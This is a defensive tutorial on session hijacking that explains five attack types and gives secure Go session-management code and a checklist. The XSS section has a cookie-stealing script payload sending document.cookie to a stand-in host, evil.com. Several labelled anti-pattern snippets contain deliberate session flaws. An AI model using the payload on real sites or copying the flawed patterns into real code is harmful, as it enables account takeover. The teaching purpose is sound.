Session Hijacking #
Session hijacking is an attack where attackers obtain another user’s session identifier and use it to access the application as if they were that user. No username needed. No password needed. No MFA bypass needed. Just a valid session token, and the server treats the attacker as a legitimate user — because from the server’s perspective, there’s genuinely no way to tell them apart.
This is what makes session hijacking so dangerous: the entire authentication infrastructure built with great effort — password hashing, MFA, rate limiting — can be completely bypassed if session management is poor. Engineers who build perfect authentication flows but ignore the session lifecycle have built a solid wall with an open back door.
Why Sessions Are Valuable Targets #
HTTP is a stateless protocol — every request stands alone, and servers don’t remember previous requests. Sessions are the solution to this problem: after a user successfully logs in, the server issues a token (session ID) the user presents to prove their identity on every subsequent request.
A session's lifecycle:
1. The user sends credentials (username + password + MFA)
2. The server verifies the credentials
3. The server generates a cryptographically strong session ID
4. The session ID is stored server-side (database/Redis) with:
- The associated user ID
- The creation time
- The last active time
- Metadata (IP, User-Agent, etc.)
5. The session ID is sent to the browser via a cookie
6. On every subsequent request:
- The browser automatically sends the cookie
- The server looks up the session ID → gets the user context
- The server processes the request as that user
7. The session ends when:
- The user logs out (server invalidates the session)
- The idle timeout is exceeded
- The absolute timeout is reached
Session ID = a proxy for user identity after authentication
Whoever holds a valid session ID = considered to be that user
flowchart LR
A[User Login] --> B[Server Verifies]
B --> C[Generate Session ID]
C --> D[("(Store: Redis/DB\nuser_id, created_at\nlast_active, metadata)")]
C --> E[Set-Cookie: session=ID]
E --> F[Browser]
F --> G["Subsequent Request\nCookie: session=ID"]
G --> H["Server Lookup\nSession ID"]
H --> I["Auth Context\nGet user"]
I --> J[Process Request]Every component in this lifecycle is a potential attack vector. Session IDs that can be intercepted, guessed, or moved to different contexts — all open doors to hijacking.
The Five Types of Session Hijacking #
1. Session Sniffing #
Session sniffing happens when attackers capture network traffic and extract session tokens from unencrypted HTTP requests.
Session sniffing scenario on public networks:
A user at a coffee shop connects to shared WiFi
↓
An attacker on the same network runs Wireshark or tcpdump
↓
The user opens http://app.example.com (not HTTPS!)
↓
The browser sends a request:
GET /dashboard HTTP/1.1
Host: app.example.com
Cookie: session=eyJhbG...NiJ9...
↓
The attacker sees this packet in Wireshark
↓
The attacker copies the cookie value and sets it in their browser
↓
The attacker accesses app.example.com with the victim's session
→ Account takeover without needing the password
Prevention:
1. HTTPS mandatory for all pages
2. HSTS header: browsers must use HTTPS for this domain
3. Secure flag on cookies: cookies not sent over HTTP
# Nginx — HTTPS redirect and HSTS
server {
listen 80;
server_name app.example.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name app.example.com;
# HSTS — force HTTPS for 1 year, including subdomains
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
# Other SSL configuration...
}
2. XSS-Based Session Hijacking #
If there’s an XSS hole in the application and session cookies don’t use HttpOnly, attackers can steal session tokens through JavaScript.
// XSS payload stealing session cookies
// Inserted by the attacker in a comment form or other vulnerable input
<script>
// Get all non-HttpOnly cookies
const stolen = document.cookie;
// Send them to the attacker's server
new Image().src = 'https://evil.com/steal?data=' +
encodeURIComponent(stolen) +
'&url=' + encodeURIComponent(location.href);
</script>
// With the received session token, the attacker can:
// 1. Set the cookie in their browser
// 2. Access the application as the victim
// Prevention:
// - HttpOnly cookies: document.cookie doesn't contain the session token
// - CSP: restricts which scripts can run and where fetches can go
// - Fix the XSS in the application
3. Session Fixation #
Session fixation is a more sophisticated attack. Instead of stealing an existing session, the attacker determines the session ID the victim will use before they log in — then uses the same session after the victim successfully logs in.
sequenceDiagram
participant A as Attacker
participant V as Victim
participant S as Server
A->>S: GET /login
S->>A: Set-Cookie: session=ATTACKER_KNOWN_ID
Note over A: The attacker knows this session ID
A->>V: Send link: https://app.com/login?sid=ATTACKER_KNOWN_ID
Note over V: Or via a link that sets the cookie
V->>S: GET /login (Cookie: session=ATTACKER_KNOWN_ID)
V->>S: POST /login {email, password}
S->>S: Verify credentials ✓
S->>S: ✗ Session ID NOT regenerated!
S->>V: 200 OK (still using session ATTACKER_KNOWN_ID)
Note over A: The attacker knows the victim's session ID!
A->>S: GET /dashboard (Cookie: session=ATTACKER_KNOWN_ID)
S->>A: 200 OK — the attacker is in as the Victim!// ANTI-PATTERN: not regenerating the session ID after login
func loginUnsafe(req Request, res Response) {
email := req.Form("email")
password := req.Form("password")
user := verifyCredentials(email, password)
if user != nil {
// ✗ Session ID stays the same — session fixation vulnerable!
session.Set("user_id", user.ID)
session.Set("logged_in", true)
res.Redirect("/dashboard")
}
}
// CORRECT: always regenerate the session ID after successful login
func loginSafe(req Request, res Response) {
email := req.Form("email")
password := req.Form("password")
user := verifyCredentials(email, password)
if user != nil {
// Save the data that needs carrying over
oldFlashMessages := session.Get("flash_messages")
// ✓ Create a new, different session — delete the old one
session.Clear() // completely clear the old session
session.Regenerate() // or use a regenerate method if available
// Set the new session data
session.Set("user_id", user.ID)
session.Set("logged_in", true)
session.Set("created_at", time.Now().UTC().Format(time.RFC3339))
session.Set("ip_at_login", req.RemoteAddr)
session.Set("ua_at_login", req.UserAgent())
// Restore flash messages if needed
session.Set("flash_messages", oldFlashMessages)
res.Redirect("/dashboard")
}
}
4. Session Prediction #
If session IDs aren’t generated cryptographically securely, attackers can try to guess them via brute force or find their patterns.
// ANTI-PATTERN: guessable session IDs
// Time-based — sequential and predictable
var unsafeTimeID = strconv.FormatInt(time.Now().Unix(), 10)
// Regular random — not cryptographic, predictable with the same seed
var unsafeRandomID = strconv.Itoa(rand.Intn(900000) + 100000)
// MD5 of user info — reversible or rainbow-tableable
var unsafeMd5ID = fmt.Sprintf("%x", md5.Sum([]byte(userID+email)))
// CORRECT: cryptographically secure session IDs
// 32 bytes = 256 bits of entropy
// URL-safe base64 encoding → a string safe for cookies
func generateSessionID() string {
return randomURLSafe(32)
}
// Verifying session ID strength:
// randomURLSafe(32) produces ~43 characters
// Entropy: 256 bits
// Brute force possibilities: 2^256 ≈ 10^77 combinations
// At 1 billion attempts per second: longer than the age of the universe
5. Session Replay #
Session replay happens when a session that should already be invalid — because the user logged out, the session expired, or the user is in a different location — can still be used because the server doesn’t validate it correctly.
Session replay scenario:
The attacker gets the victim's session token (via XSS, sniffing, etc.)
The victim logs out of the application
↓
The server only deletes the client cookie (response.delete_cookie)
The server does NOT invalidate the session in the backend
↓
The attacker still has the old token
The attacker manually sets the cookie in their browser
The attacker accesses the app → the server looks up the token → still valid!
→ The account is still accessible even though the victim logged out
Prevention:
Logout must invalidate the session server-side, not just client-side
// ANTI-PATTERN: logout only deletes the cookie
func logoutUnsafe(res Response, req Request) {
res.DeleteCookie("session") // only deletes client-side
res.Redirect("/login")
// The session in Redis/DB still exists and is still valid!
}
// CORRECT: invalidate the session server-side AND delete the cookie
func logoutSafe(res Response, req Request) {
sessionToken := req.Cookie("session")
if sessionToken != "" {
// Remove the session from the backend storage
redisClient.Delete("session:" + sessionToken)
// Or with a database:
// Session.query.filter_by(token=sessionToken).delete()
}
res.SetCookie(&http.Cookie{
Name: "session",
Value: "",
MaxAge: -1,
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
})
res.Redirect("/login")
}
Correct Session Management Implementation #
A Secure Session Store #
Sessions should be stored in a backend store (Redis, database) — not just in cookies. This lets the server invalidate sessions at any time.
// A Secure Session Store — Redis-backed sessions
func createSession(userID int, req Request) string {
sessionToken := randomURLSafe(32)
sessionData := map[string]string{
"user_id": strconv.Itoa(userID),
"created_at": time.Now().UTC().Format(time.RFC3339),
"last_active": time.Now().UTC().Format(time.RFC3339),
"ip": req.RemoteAddr,
"user_agent": truncate(req.UserAgent(), 200), // limit the length
}
// Store in Redis with a TTL
redisClient.HSet("session:"+sessionToken, sessionData)
redisClient.Expire("session:"+sessionToken, SESSION_TTL_SECONDS)
return sessionToken
}
func getSession(sessionToken string, req Request) map[string]string {
if sessionToken == "" {
return nil
}
data := redisClient.HGetAll("session:" + sessionToken)
if len(data) == 0 {
return nil
}
// Check the idle timeout
lastActive, _ := time.Parse(time.RFC3339, data["last_active"])
if time.Since(lastActive).Seconds() > float64(IDLE_TTL_SECONDS) {
invalidateSession(sessionToken)
return nil
}
// Update last_active (rolling timeout)
redisClient.HSet("session:"+sessionToken, "last_active",
time.Now().UTC().Format(time.RFC3339))
return data
}
func invalidateSession(sessionToken string) {
redisClient.Delete("session:" + sessionToken)
}
func invalidateAllSessions(userID int) {
// Log out from all devices — useful after password resets
// Scan all session keys (in production, maintain a set of the user's sessions)
// Or store the list of sessions per user in a Redis set
userSessions := redisClient.SMembers(fmt.Sprintf("user_sessions:%d", userID))
for _, token := range userSessions {
redisClient.Delete("session:" + token)
}
redisClient.Delete(fmt.Sprintf("user_sessions:%d", userID))
}
Binding Sessions to User Contexts #
Binding sessions to a user’s specific context adds a protection layer: even if a token is stolen, use from a different context will be detected.
// Binding sessions to a user's context — validate that the request
// comes from the same context as when the session was created.
func validateSessionContext(session map[string]string, req Request) bool {
// Check the User-Agent
currentUA := req.UserAgent()
sessionUA := session["user_agent"]
// Flexible comparison — UAs can change due to browser updates
// but drastic changes (Chrome → Firefox) are suspicious
if !userAgentsSimilar(currentUA, sessionUA) {
logSuspiciousSession(session, req, "user_agent_mismatch")
// Option: invalidate the session or require re-auth
return false
}
// Check IP address changes (optional and careful)
// IPs can legitimately change (mobile network switches, VPNs)
// Don't invalidate immediately — use for risk scoring only
currentIP := req.RemoteAddr
sessionIP := session["ip"]
if currentIP != sessionIP {
// Log as an anomaly, but don't block immediately
logSuspiciousSession(session, req, "ip_changed")
// Consider risk scoring here
}
return true
}
// Check whether two user agents come from the same browser.
func userAgentsSimilar(ua1, ua2 string) bool {
// Extract the browser name only (Chrome, Firefox, Safari, etc.)
browserPattern := regexp.MustCompile(`(Chrome|Firefox|Safari|Edge|Opera)`)
browser1 := browserPattern.FindString(ua1)
browser2 := browserPattern.FindString(ua2)
if browser1 != "" && browser2 != "" {
return browser1 == browser2
}
return true // can't be compared, assume OK
}
Session Anomaly Detection #
Active monitoring for abnormal session usage patterns is an important detection layer.
// Anomaly patterns to detect:
func detectSessionAnomalies(sessionToken string, req Request) {
session := getSession(sessionToken, req)
if session == nil {
return
}
anomalies := []Anomaly{}
// 1. Detect concurrent sessions from different locations simultaneously
activeLocations := getActiveLocationsForUser(session["user_id"])
currentLocation := getGeoFromIP(req.RemoteAddr)
if len(activeLocations) > 1 && !contains(activeLocations, currentLocation) {
anomalies = append(anomalies, Anomaly{
Type: "concurrent_location",
Detail: fmt.Sprintf("Active sessions from %v and %s", activeLocations, currentLocation),
})
}
// 2. Detect impossible geographic travel
// (login from Jakarta, then 5 minutes later from New York)
lastLocation := session["last_known_location"]
if lastLocation != "" && isImpossibleTravel(
lastLocation, currentLocation,
5, // 5 minutes isn't enough to cross continents
) {
anomalies = append(anomalies, Anomaly{
Type: "impossible_travel",
Detail: fmt.Sprintf("From %s to %s in a short time", lastLocation, currentLocation),
})
}
// 3. Detect access outside the user's normal hours
userTimezone := session["timezone"]
localHour := getLocalHour(userTimezone)
if localHour < 4 || localHour > 23 { // activity between 00:00-04:00 local
anomalies = append(anomalies, Anomaly{
Type: "unusual_hour",
Detail: fmt.Sprintf("Activity at %d:00 in the user's local time", localHour),
})
}
if len(anomalies) > 0 {
for _, anomaly := range anomalies {
logSecurityEvent("session_anomaly", map[string]any{
"session_token_hash": hashToken(sessionToken),
"user_id": session["user_id"],
"anomaly": anomaly,
"request_ip": req.RemoteAddr,
})
}
// Trigger actions based on severity
if hasImpossibleTravel(anomalies) {
// Invalidate the session immediately — this is highly suspicious
invalidateSession(sessionToken)
sendSecurityAlertEmail(session["user_id"], anomalies)
} else {
// Require re-authentication (step-up authentication)
flagSessionForReauth(sessionToken)
}
}
}
Concurrent Session Control #
Limiting how many active sessions one user can have is an effective way to detect and limit the impact of session hijacking.
const MAX_CONCURRENT_SESSIONS = 3
func createSessionWithLimit(userID int, req Request) string {
// Get all of this user's active sessions
userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
activeSessions := redisClient.SMembers(userSessionsKey)
// If the limit is reached, remove the oldest
if len(activeSessions) >= MAX_CONCURRENT_SESSIONS {
// Find the oldest session
var oldestToken string
var oldestTime time.Time
for _, token := range activeSessions {
sessionData := redisClient.HGet(fmt.Sprintf("session:%s", token), "created_at")
if sessionData != "" {
created, _ := time.Parse(time.RFC3339, sessionData)
if oldestTime.IsZero() || created.Before(oldestTime) {
oldestTime = created
oldestToken = token
}
}
}
if oldestToken != "" {
// Invalidate the oldest session
invalidateSession(oldestToken)
redisClient.SRem(userSessionsKey, oldestToken)
}
}
// Create the new session
sessionToken := createSession(userID, req)
// Track this session for the user
redisClient.SAdd(userSessionsKey, sessionToken)
redisClient.Expire(userSessionsKey, SESSION_TTL_SECONDS)
return sessionToken
}
// For the 'manage active devices' feature shown to users.
func getUserActiveSessions(userID int) []SessionInfo {
userSessionsKey := fmt.Sprintf("user_sessions:%d", userID)
sessionTokens := redisClient.SMembers(userSessionsKey)
sessions := []SessionInfo{}
for _, token := range sessionTokens {
data := redisClient.HGetAll(fmt.Sprintf("session:%s", token))
if len(data) > 0 {
sessions = append(sessions, SessionInfo{
TokenLast4: token[len(token)-4:],
CreatedAt: data["created_at"],
LastActive: data["last_active"],
IP: data["ip"],
UserAgent: truncate(data["user_agent"], 50),
})
}
}
return sessions
}
Correct Session Expiration #
Two timeout types must be applied together, not chosen one over the other:
// The difference between idle and absolute timeouts:
// Idle timeout:
// → The session expires after N minutes of inactivity
// → Protects against abandoned sessions (users forgetting to log out)
// → Can be extended by activity (sliding timeout)
var IDLE_TIMEOUT = 30 * time.Minute
// Absolute timeout:
// → The session expires N hours after creation, no matter what
// → Forces periodic re-authentication
// → Limits the window if a session is compromised without being noticed
var ABSOLUTE_TIMEOUT = 8 * time.Hour
func checkSessionValidity(session map[string]string) (bool, string) {
now := time.Now().UTC()
// Check the absolute timeout
createdAt, _ := time.Parse(time.RFC3339, session["created_at"])
if now.Sub(createdAt) > ABSOLUTE_TIMEOUT {
return false, "absolute_timeout"
}
// Check the idle timeout
lastActive, _ := time.Parse(time.RFC3339, session["last_active"])
if now.Sub(lastActive) > IDLE_TIMEOUT {
return false, "idle_timeout"
}
return true, ""
}
Anti-Patterns to Avoid #
// ✗ Anti-pattern 1: cryptographically insecure session IDs
func antiPattern1(user User) {
sessionID := strconv.Itoa(user.ID) + strconv.FormatInt(time.Now().Unix(), 10)
// Sequential, predictable → guessable
}
// ✗ Anti-pattern 2: not regenerating session IDs after login
// Session fixation vulnerability
// ✗ Anti-pattern 3: sessions without expiries
func antiPattern3(token string, data map[string]any) {
redisClient.HSet("session:"+token, data)
// No TTL → sessions valid forever → unlimited hijacking windows
}
// ✗ Anti-pattern 4: logout not invalidating server-side
func antiPattern4(res Response) {
res.DeleteCookie("session") // only deletes client-side
}
// ✗ Anti-pattern 5: long session IDs stored in URLs
// /dashboard?session=eyJhbGc...
// URLs are stored in browser history, server logs, referrer headers
// ✗ Anti-pattern 6: no anomaly monitoring
// Compromised sessions go undetected until users report them
// ✗ Anti-pattern 7: leaving all user sessions active after password changes
// If a password is changed because of compromise, all sessions must be invalidated
func changePassword(userID int, newPassword string) {
updatePassword(userID, newPassword)
// ✗ Forgot to invalidate all existing sessions!
// An attacker who already has a session can still access
}
// ✓ Correct:
func changePasswordSafe(userID int, newPassword string, currentSessionToken string) {
updatePassword(userID, newPassword)
// Invalidate all sessions except the currently active one (optional)
invalidateAllSessionsExcept(userID, currentSessionToken)
sendNotification(userID, "password_changed_all_devices_logged_out")
}
Session Hijacking Prevention Checklist #
SESSION GENERATION:
□ Session IDs use CSPRNGs (secrets.token_urlsafe / SecureRandom)
□ At least 128-bit entropy (16 bytes / 22 base64url characters)
□ Session IDs contain no guessable information (user IDs, times)
□ Session IDs never appear in URLs — always via cookies
COOKIE SECURITY:
□ HttpOnly: true — inaccessible to JavaScript
□ Secure: true — only sent over HTTPS
□ SameSite: Lax or Strict — CSRF protection
□ Max-Age/Expires: sessions don't last forever
SESSION LIFECYCLE:
□ Session IDs regenerated after successful logins
□ Session IDs regenerated after privilege escalations
□ Idle timeouts configured (30 minutes is a reasonable starting point)
□ Absolute timeouts configured (8 hours for business applications)
□ Logout invalidates sessions server-side, not just deleting cookies
□ Password changes invalidate all active sessions
SESSION STORAGE:
□ Sessions stored in backends (Redis/DB), not just in cookies
□ Sessions store metadata: created_at, last_active, IP, User-Agent
□ Sessions invalidatable per-token from the server at any time
ANOMALY DETECTION:
□ Concurrent logins from physically impossible locations detected
□ Drastic User-Agent changes logged
□ Activity outside users' normal hours recorded
□ Alerts sent to users for suspicious activity
CONCURRENT SESSIONS:
□ A maximum active session limit per user exists
□ Users can view and revoke their active sessions
□ A "log out from all devices" API available
HTTPS:
□ TLS active in all environments (including staging)
□ HTTP redirects to HTTPS for all requests
□ HSTS header active with a long duration
Summary #
- Sessions are proxies for identity — whoever holds a valid session ID is treated as the user by the server. This makes them the primary target for attackers wanting to bypass authentication.
- Five different hijacking vectors need five different mitigations — sniffing (HTTPS + Secure cookies), XSS (HttpOnly + CSP), fixation (session ID regeneration), prediction (CSPRNG), replay (server-side invalidation on logout).
- Session IDs must be generated with CSPRNGs —
secrets.token_urlsafe(32) in Python, crypto.randomBytes(32) in Node.js. Not regular random, not timestamps, not MD5 of user data. - Session ID regeneration after login is mandatory — this is the only way to prevent session fixation. Create a completely new session after credentials are verified.
- Both timeout types must be applied together — idle timeouts protect abandoned sessions, absolute timeouts force periodic re-authentication even when sessions are continuously used.
- Logout must invalidate server-side, not just delete cookies — client-side cookie deletion doesn’t prevent replay attacks if the backend session is still valid.
- Password changes must invalidate all sessions — if a password is changed because of compromise, existing attacker sessions must be deleted too.
- Context binding adds a protection layer — drastic User-Agent changes or physically impossible locations within short times are hijacking signals.
- Concurrent session limits protect and provide visibility — limiting active sessions while letting users view and revoke unrecognized access.
- Correct session management is the foundation of all other authentication mechanisms — MFA, strong passwords, and rate limiting are pointless if sessions can be hijacked.
#
- Sessions are proxies for identity — whoever holds a valid session ID is treated as the user by the server. This makes them the primary target for attackers wanting to bypass authentication.
- Five different hijacking vectors need five different mitigations — sniffing (HTTPS + Secure cookies), XSS (HttpOnly + CSP), fixation (session ID regeneration), prediction (CSPRNG), replay (server-side invalidation on logout).
- Session IDs must be generated with CSPRNGs —
secrets.token_urlsafe(32)in Python,crypto.randomBytes(32)in Node.js. Not regular random, not timestamps, not MD5 of user data. - Session ID regeneration after login is mandatory — this is the only way to prevent session fixation. Create a completely new session after credentials are verified.
- Both timeout types must be applied together — idle timeouts protect abandoned sessions, absolute timeouts force periodic re-authentication even when sessions are continuously used.
- Logout must invalidate server-side, not just delete cookies — client-side cookie deletion doesn’t prevent replay attacks if the backend session is still valid.
- Password changes must invalidate all sessions — if a password is changed because of compromise, existing attacker sessions must be deleted too.
- Context binding adds a protection layer — drastic User-Agent changes or physically impossible locations within short times are hijacking signals.
- Concurrent session limits protect and provide visibility — limiting active sessions while letting users view and revoke unrecognized access.
- Correct session management is the foundation of all other authentication mechanisms — MFA, strong passwords, and rate limiting are pointless if sessions can be hijacked.